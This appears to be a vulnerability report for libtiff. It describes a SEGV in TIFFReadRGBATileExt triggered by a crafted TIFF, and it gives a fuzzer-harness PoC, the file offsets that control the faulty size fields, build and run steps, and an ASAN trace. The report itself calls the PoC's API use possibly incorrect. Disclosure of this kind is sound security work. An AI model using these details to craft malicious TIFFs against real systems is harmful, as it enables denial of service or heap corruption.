A SEGV found in TIFFReadRGBATileExt
Summary
A Segment fault (SEGV) issue found in TIFFReadRGBATileExt
could be triggered by passing a craft tiff file.
The SEGV issue could possibly be converted to a Heap-buffer-overflow issue.
Remote attackers could utilize this bug cause deny-of-services or further exploitation.
Version
commit: 4d0329a4 Sep 15
POC program
Note that, the libtiff APIs used in the program might not be completely correct, but it is enough to demonstrate the security risks existed in TIFFReadRGBATileExt
.
// poc.cc
#include <tiffio.hxx>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <vector>
#include <fstream>
#include <iostream>
#include <sstream>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if(size<=0) return 0;
// Open input tiff in memory
std::istringstream s(std::string(data, data + size));
TIFF* in_tif = TIFFStreamOpen("MemTIFF", &s);
if (!in_tif) {
return 0;
}
// Create variables for tile dimensions
uint32_t tile_width = 0;
uint32_t tile_height = 0;
// Get tile dimensions
TIFFDefaultTileSize(in_tif, &tile_width, &tile_height);
// Complete the event using libtiff APIs
uint32_t tile_size = TIFFVTileSize64(in_tif, tile_height);
uint32_t num_tiles_x = (TIFFComputeTile(in_tif, TIFFGetField(in_tif, TIFFTAG_IMAGEWIDTH, &tile_width),
0, 0, 0) + tile_width - 1) / tile_width;
uint32_t num_tiles_y = (TIFFComputeTile(in_tif, 0, TIFFGetField(in_tif, TIFFTAG_IMAGELENGTH, &tile_height),
0, 0) + tile_height - 1) / tile_height;
for (uint32_t y = 0; y < num_tiles_y; y++) {
for (uint32_t x = 0; x < num_tiles_x; x++) {
uint32_t* tile_buffer = (uint32_t*)_TIFFrealloc(NULL, tile_size);
if (!tile_buffer) {
TIFFClose(in_tif);
return 0;
}
if (TIFFReadRGBATileExt(in_tif, x, y, tile_buffer, 0) != 0) {
// Process the tile buffer
// ...
}
_TIFFfree(tile_buffer);
}
}
// Clean up
TIFFClose(in_tif);
return 0;
}
Details about the bug
Given the triger_input_47, the poc program is crashed at the 0x21-th of the for loop execution.
At that time, the arguments passed to TIFFReadRGBATileExt
are:
TIFFReadRGBATileExt(tif=0x61a000000080, col=0x0, row=0x22, raster=0x611000002d40, stop_on_error=0x0)
See the body of TIFFReadRGBATileExt
below, a memmove()
is called base the offset provided by read_ysize
and read_xsize
.
You can see that read_ysize
can get by img.height
and read_xsize
can get by img.width
.
Actually, the img.height
and img.width
are directly read from the input file from offsets: 0xB6 and 0xAA-0xAB.
In this case, img.heiht=0x21
and img.width=0x07ff
, and read_ysize
is calculated as 0x0
and read_xsize
is calculated as 0x1
finally.
But in the src location in the memmove()
call, the offset of raster
((size_t)(read_ysize - i_row - 1) * read_xsize
) is calcauted as -1
, which is an invalid address. The SEGV happened.
If the offset is craftted to a valid address, a heap-buffer-overflow could happen.
int TIFFReadRGBATileExt(TIFF *tif, uint32_t col, uint32_t row, uint32_t *raster,
int stop_on_error)
{
TIFFRGBAImage img;
uint32_t tile_xsize, tile_ysize;
uint32_t read_xsize, read_ysize;
uint32_t i_row;
...
if (!TIFFRGBAImageOK(tif, emsg) ||
!TIFFRGBAImageBegin(&img, tif, stop_on_error, emsg))
{
TIFFErrorExtR(tif, TIFFFileName(tif), "%s", emsg);
return (0);
}
...
if (row + tile_ysize > img.height)
read_ysize = img.height - row;
else
read_ysize = tile_ysize;
if (col + tile_xsize > img.width)
read_xsize = img.width - col;
else
read_xsize = tile_xsize;
for (i_row = 0; i_row < read_ysize; i_row++)
{
memmove(raster + (size_t)(tile_ysize - i_row - 1) * tile_xsize,
raster + (size_t)(read_ysize - i_row - 1) * read_xsize,
read_xsize * sizeof(uint32_t));
}
...
}
Steps to reproduce
- Download the poc input: triger_input_47 (How one can reproduce the issue - this is very important)
- Built libtiff with ASAN
- Compile the Poc program:
clang++ -fsanitize=fuzzer,address -g -O0 -I/libtiff/include poc.cc -o poc.out libtiff.a -lz -ljpeg -llzma -ljbig
- Trigger the bug:
./poc.out triger_input_47
Platform
Ubuntu 22.04 Clang 15.0.0
ASAN message
==320426==ERROR: AddressSanitizer: SEGV on unknown address 0x611400002d38 (pc 0x555995f3ba30 bp 0x7fff67a7c2f0 sp 0x7fff67a7baa0 T0)
==320426==The signal is caused by a READ memory access.
#0 0x555995f3ba30 in __sanitizer::internal_memmove(void*, void const*, unsigned long) /compiler-rt/lib/sanitizer_common/sanitizer_libc.cpp:64:14
#1 0x555995ebbcef in __interceptor_memmove /compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:882:3
#2 0x555995f82767 in TIFFReadRGBATileExt /libtiff/tif_getimage.c:3345:9
#3 0x555995f62b7a in LLVMFuzzerTestOneInput /poc.cc:52:17